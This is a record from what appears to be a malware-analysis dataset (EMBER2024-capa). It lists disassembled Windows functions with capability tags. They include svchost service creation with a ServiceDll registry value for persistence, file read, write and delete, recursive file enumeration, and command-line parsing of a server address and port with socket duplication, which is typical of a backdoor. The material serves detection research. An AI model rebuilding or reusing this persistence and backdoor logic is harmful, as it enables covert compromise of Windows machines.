joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100063b0
Capabilities:
Check mutex on windows
Delete file
Get file size
Read file on windows

Disassembly:
sub esp, 0x8c
mov eax, dword [esp + 0x90]
push ebx
push esi
push edi
add ecx, 4
push eax
push 0x1f45
mov dword [esp + 0x1c], ecx
call fcn.10003760
test eax, eax
jne 0x100063e2
pop edi
pop esi
pop ebx
add esp, 0x8c
ret 4
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push 0x10010278
stosw word es:[edi], ax
lea ecx, [esp + 0x1c]
push str.Global_s_key_event
push ecx
stosb byte es:[edi], al
call esi
add esp, 0xc
lea edx, [esp + 0x18]
push edx
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov ebx, eax
test ebx, ebx
jne 0x10006435
pop edi
pop esi
pop ebx
add esp, 0x8c
ret 4
push 0x10010278
lea eax, [esp + 0x1c]
push str.Global_s_key_metux
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x18]
push ecx
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov esi, eax
test esi, esi
mov dword [esp + 0xc], esi
jne 0x10006471
pop edi
pop esi
pop ebx
add esp, 0x8c
ret 4
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebp
push 0xffffffffffffffff
push ebx
call edi
test eax, eax
jne 0x10006564
jmp 0x1000648b
mov esi, dword [esp + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor ebp, ebp
push 0xffffffffffffffff
push esi
mov dword [esp + 0x1c], ebp
call edi
test eax, eax
jne 0x1000650f
push eax
push 0x80
push 3
push eax
push 1
push bind
push 0x10010406
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10006504
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
test edi, edi
jbe 0x100064ec
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea edx, [esp + 0x14]
mov ebp, eax
push 0
push edx
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10010406
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x1000654c
test ebp, ebp
je 0x1000654c
mov esi, dword [esp + 0x18]
push 0
push 0
push 0
mov ecx, esi
call fcn.10003a60
test eax, eax
je 0x1000655b
mov ecx, dword [esp + 0x14]
push 0
push ecx
push ebp
mov ecx, esi
call fcn.10003bd0
test eax, eax
je 0x1000655b
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
push 0xffffffffffffffff
push ebx
call edi
test eax, eax
je 0x10006487
jmp 0x10006564
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov edx, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
push ebx
call esi
pop ebp
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x8c
ret 4
Function at 0x100077c0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0x80
push 3
push 0
push 1
push bind
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100077e9
xor eax, eax
pop esi
ret
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
lea ecx, [esp + 8]
push 0
push ecx
push edx
push eax
push esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
ret

Function at 0x10007820
Capabilities:
Delete file
Write file on windows

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10007850
xor eax, eax
pop esi
ret
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
lea eax, [esp + 8]
push 0
push eax
push ecx
push edx
push esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
ret

Function at 0x10007940
Capabilities:
Start service

Disassembly:
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x1000798f
mov eax, dword [esp + 0xc]
push 0xf01ff
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x10007978
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
ret
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
ret

Function at 0x100079a0
Capabilities:
Create service
Get common file path
Persist via windows service

Disassembly:
sub esp, 0x104
push ebx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
jne 0x100079c7
or eax, 0xffffffff
pop ebx
add esp, 0x104
ret
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0xc8
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0xc]
push str._svchost.exe__k
push ecx
call esi
mov edi, dword [esp + 0x114]
lea edx, [esp + 0xc]
push edi
push edx
call esi
push 0
mov ecx, dword [esp + 0x11c]
push 0
push 0
push 0
lea eax, [esp + 0x1c]
push 0
push eax
push 1
push 2
push 0x110
push 0xf01ff
push ecx
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
je 0x10007a49
push eax
call esi
push ebx
call esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x104
ret
Function at 0x10007a60
Capabilities:
Delete service

Disassembly:
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x10007a7d
pop edi
or eax, 0xffffffff
pop esi
ret
mov eax, dword [esp + 0xc]
push 0xf01ff
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x10007aa0
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
xor eax, eax
pop esi
ret
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
xor eax, eax
pop esi
ret

Function at 0x10007ac0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x10c
mov edx, dword [esp + 0x110]
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push reloc.WS2_32.dll_bind
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10007b5c
push edi
mov ecx, 0x40
lea edi, [esp + 0xd]
mov byte [esp + 0xc], al
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x118]
lea ecx, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 4]
inc eax
push eax
lea eax, [esp + 0x10]
push eax
push 2
push 0
push str.ServiceDll
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
add esp, 0x10c
ret

Function at 0x10007b70
Capabilities:
Set registry value

Disassembly:
sub esp, 8
mov edx, dword [esp + 0xc]
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push reloc.WS2_32.dll_bind
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10007bd4
mov ecx, dword [esp]
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push str.Start
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 8
ret
Function at 0x10007be0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x10c
mov edx, dword [esp + 0x110]
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push reloc.WS2_32.dll_bind
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10007c81
push ebp
mov ebp, dword [esp + 0x118]
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
push ebp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
inc esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x14]
push esi
push ecx
push 1
push 0
push str.Description
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
add esp, 0x10c
ret

Function at 0x10007c90
Capabilities:
Set registry value

Disassembly:
sub esp, 0x10c
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
push reloc.WS2_32.dll_bind
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10007d25
push esi
push edi
mov ecx, 0x40
lea edi, [esp + 0x11]
mov byte [esp + 0x10], al
mov esi, dword [esp + 0x118]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x10]
push esi
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 8]
add eax, 2
push eax
lea eax, [esp + 0x14]
push eax
push 7
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
add esp, 0x10c
ret

Function at 0x10008130
Capabilities:
Get common file path

Disassembly:
push esi
mov esi, ecx
push edi
lea ecx, [esi + 0x10]
call fcn.10002ba0
lea edi, [esi + 0x124]
xor eax, eax
push edi
push 0xfa
mov dword [esi], 0x1000d3b8
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push str._08x.tmp
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [eax + esi + 0x124]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, esi
pop edi
pop esi
ret
Function at 0x10008ac0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x454
push ebx
push ebp
push esi
mov dword [esp + 0x10], ecx
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x361]
mov byte [esp + 0x360], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x159]
mov byte [esp + 0x158], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x468]
lea ecx, [esp + 0x158]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x158]
lea eax, [esp + 0x360]
push edx
push str._s.
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x4f
xor eax, eax
lea edi, [esp + 0x28]
mov dword [esp + 0x24], ebx
rep stosd dword es:[edi], eax
add esp, 0xc
lea ecx, [esp + 0x18]
lea edx, [esp + 0x360]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x10008b74
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x454
ret 0x10
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x25d]
mov byte [esp + 0x25c], bl
rep stosd dword es:[edi], eax
mov esi, dword [esp + 0x474]
mov ebp, dword [esp + 0x46c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpA]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [esp + 0x470]
lea eax, [esp + 0x44]
push 0x1000f610
push eax
call ebx
test eax, eax
je 0x10008c30
lea ecx, [esp + 0x44]
push 0x1000f60c
push ecx
call ebx
test eax, eax
je 0x10008c30
lea edx, [esp + 0x44]
lea eax, [esp + 0x158]
push edx
push eax
lea ecx, [esp + 0x264]
push str._s_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov al, byte [esp + 0x28]
add esp, 0x10
test al, 0x10
je 0x10008c15
mov ecx, dword [ebp]
push esi
inc ecx
push edi
lea edx, [esp + 0x264]
mov dword [ebp], ecx
mov ecx, dword [esp + 0x1c]
push ebp
push edx
call fcn.10008ac0
test eax, eax
je 0x10008c5e
jmp 0x10008c30
mov eax, dword [edi]
mov ecx, dword [esp + 0x34]
inc eax
mov dword [edi], eax
mov eax, dword [esp + 0x38]
mov edx, dword [esi]
add edx, eax
mov dword [esi], edx
mov eax, dword [esi + 4]
adc eax, ecx
mov dword [esi + 4], eax
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10008ba9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x10008c6d
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x454
ret 0x10
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x454
ret 0x10

Function at 0x10008c90
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [ecx + 0xc]
push 5
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
ret
Function at 0x10009b40
Capabilities:
Query service configuration

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push 0xf01ff
lea eax, [ebx + 0x10]
push eax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebp, eax
test ebp, ebp
je 0x10009c2a
push esi
push edi
push 0x2000
mov dword [esp + 0x1c], 0
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
mov ecx, 0x800
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
add esp, 4
lea ecx, [esp + 0x18]
push ecx
push 0x2000
push esi
push ebp
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
je 0x10009c18
mov edx, dword [esi + 8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebx + 8], edx
mov eax, dword [esi]
mov dword [ebx], eax
mov ecx, dword [esi + 4]
mov dword [ebx + 4], ecx
mov edx, dword [esi + 0x14]
mov dword [ebx + 0xc], edx
mov eax, dword [esi + 0xc]
lea ecx, [ebx + 0x448]
push eax
push ecx
call edi
mov edx, dword [esi + 0x18]
lea eax, [ebx + 0x848]
push edx
push eax
call edi
mov ecx, dword [esi + 0x10]
lea edx, [ebx + 0x648]
push ecx
push edx
call edi
mov eax, dword [esi + 0x1c]
lea ecx, [ebx + 0xc48]
push eax
push ecx
call edi
lea eax, [ebx + 0x10]
push eax
push str.SYSTEMControlSet001Services_s
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add ebx, 0x1048
push ebx
push str.Description
push esi
push reloc.WS2_32.dll_bind
call fcn.100075d0
add esp, 0x1c
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x10009c30
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
push edi
mov esi, ecx
call fcn.1000a080
mov edi, eax
cmp edi, 0xffffffff
jne 0x10009c4c
mov dword [esi + 4], 0x1b69
pop edi
pop esi
pop ecx
ret
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
lea eax, [esp + 8]
push 0
push eax
push ecx
push edx
push edi
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push edi
jne 0x10009c80
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 4], 0x1b69
pop edi
pop esi
pop ecx
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ecx
ret

Function at 0x10009c90
Capabilities:
Set registry value

Disassembly:
push ecx
push esi
push edi
mov edi, ecx
lea eax, [esp + 8]
push eax
mov dword [esp + 0xc], 0
mov esi, dword [edi + 0xc]
push 0xf003f
push 0
push esi
mov ecx, dword [esi + 0x1208]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10009cc9
mov dword [edi + 4], 0x1b68
pop edi
pop esi
pop ecx
ret
mov edx, dword [esi + 0x1200]
mov ecx, dword [esi + 0x1204]
lea eax, [esi + 0xa00]
push edx
mov edx, dword [esp + 0xc]
push eax
push ecx
add esi, 0x800
push 0
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x10009d0c
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [edi + 4], 0x1b67
pop edi
pop esi
pop ecx
ret
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ecx
ret
Function at 0x1000bd90
Capabilities:
Create thread
Delete file

Disassembly:
sub esp, 0x28
push ebp
push esi
mov esi, dword [esp + 0x34]
push edi
mov ecx, 0x411
mov edi, section.Share
push 0x2000000
push 1
rep movsd dword es:[edi], dword [esi]
push str.WinSta0
call dword [sym.imp.USER32.dll_OpenWindowStationA]
mov esi, eax
test esi, esi
mov dword [esp + 0x38], esi
je 0x1000bdc9
push esi
call dword [sym.imp.USER32.dll_SetProcessWindowStation]
push 0x2000000
push 1
push 1
push str.Default
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov ebp, eax
test ebp, ebp
je 0x1000bdea
push ebp
call dword [sym.imp.USER32.dll_SetThreadDesktop]
xor eax, eax
lea ecx, [esp + 0xc]
push 0xc
mov dword [esp + 0x14], eax
push ecx
push 0x10010806
mov byte [esp + 0x18], 0
mov dword [esp + 0x20], eax
call fcn.100077c0
add esp, 0xc
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x1000be3e
mov eax, dword [esp + 0x14]
test eax, eax
je 0x1000be3e
lea eax, [esp + 0xc]
push eax
push 0x10010b06
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 0x14]
mov dword [0x10011038], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x10011034], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
push 0
push 1
push 0
mov dword [0x10011030], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x1001101c], eax
mov eax, dword [0x10010008]
test eax, eax
je 0x1000be86
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10010606
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [0x1001000c]
test eax, eax
jbe 0x1000be94
call fcn.100068b0
push ebx
push 0
push 0
push 0x1000bd70
call dword [sym.imp.MSVCRT.dll__beginthread]
mov edx, dword [0x1001101c]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 0xc
push 0
push edx
call ebx
test eax, eax
je 0x1000bf19
mov edi, dword [sym.imp.USER32.dll_GetMessageA]
mov esi, dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
push 0
lea eax, [esp + 0x24]
push 0
push eax
call edi
test eax, eax
je 0x1000bf15
mov eax, dword [esp + 0x20]
sub eax, 0x5b6
je 0x1000befe
sub eax, 3
jne 0x1000bf07
mov ecx, dword [0x1001101c]
push ecx
call esi
mov ecx, 0x1000f6d8
call fcn.10002450
jmp 0x1000bf07
mov edx, dword [0x1001101c]
push edx
call esi
mov eax, dword [0x1001101c]
push 0
push eax
call ebx
test eax, eax
jne 0x1000bec8
mov esi, dword [esp + 0x3c]
mov ecx, 0x1000f748
call fcn.10003880
mov eax, dword [0x1001000c]
pop ebx
test eax, eax
jbe 0x1000bf32
call fcn.10006840
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x1001101c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call dword [sym.imp.USER32.dll_CloseDesktop]
push esi
call dword [sym.imp.USER32.dll_CloseWindowStation]
pop edi
pop esi
pop ebp
add esp, 0x28
ret 4
Function at 0x1000bff8
Capabilities:
Accept command line arguments
Initialize winsock library
Terminate process

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x524
cmp eax, 1
nop
nop
nop
nop
nop
nop
nop
nop
push esi
push edi
jne 0x1000c1b5
mov eax, dword [esp + 0x530]
mov ecx, 0x63
mov dword [0x1000f884], eax
xor eax, eax
lea edi, [esp + 0x39e]
mov word [esp + 0x39c], 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x39c]
push ecx
push 0x202
stosw word es:[edi], ax
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x129]
mov byte [esp + 0x128], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x29]
mov byte [esp + 0x28], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 7
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea edx, [esp + 0x128]
stosw word es:[edi], ax
push edx
push str.mythreadid
stosb byte es:[edi], al
call esi
push eax
call fcn.100074f0
add esp, 0xc
test eax, eax
je 0x1000c1b5
lea eax, [esp + 0x28]
push eax
push str.myserveraddr
call esi
push eax
call fcn.100074f0
add esp, 0xc
test eax, eax
je 0x1000c1b5
lea ecx, [esp + 8]
push ecx
push str.myserverport
call esi
push eax
call fcn.100074f0
add esp, 0xc
test eax, eax
je 0x1000c1b5
mov esi, dword [sym.imp.SHLWAPI.dll_StrToIntA]
push ebx
lea edx, [esp + 0x12c]
push ebp
push edx
call esi
mov ebx, dword [sym.imp.USER32.dll_PostThreadMessageA]
push 0
mov ebp, eax
push 1
push 0x5ba
push ebp
call ebx
mov ecx, 0x5c
xor eax, eax
lea edi, [esp + 0x234]
mov dword [esp + 0x230], 0
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push eax
call esi
lea ecx, [esp + 0x30]
push eax
push ecx
call fcn.100047d0
mov edi, eax
add esp, 8
test edi, edi
je 0x1000c194
mov eax, dword [0x10011034]
lea edx, [esp + 0x230]
push edx
push eax
push edi
call dword [sym.imp.WS2_32.dll_WSADuplicateSocketA]
test eax, eax
jne 0x1000c194
xor esi, esi
xor ecx, ecx
mov cl, byte [esp + esi + 0x230]
push ecx
push 0
push 0x5b7
push ebp
call ebx
inc esi
cmp esi, 0x174
jb 0x1000c16c
push 0
push 1
push 0x5b7
jmp 0x1000c19d
push 0
push 0
push 0x5b8
push ebp
call ebx
pop ebp
pop ebx
test edi, edi
je 0x1000c1ad
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
mov eax, 1
pop esi
add esp, 0x524
ret 0xc
Function at 0xf23370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xf2338e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xf4c074
push ecx
mov edi, eax
call fcn.00f37198
mov esi, eax
add esp, 8
test esi, esi
jne 0xf233cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00f3702e
push esi
call fcn.00f36fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret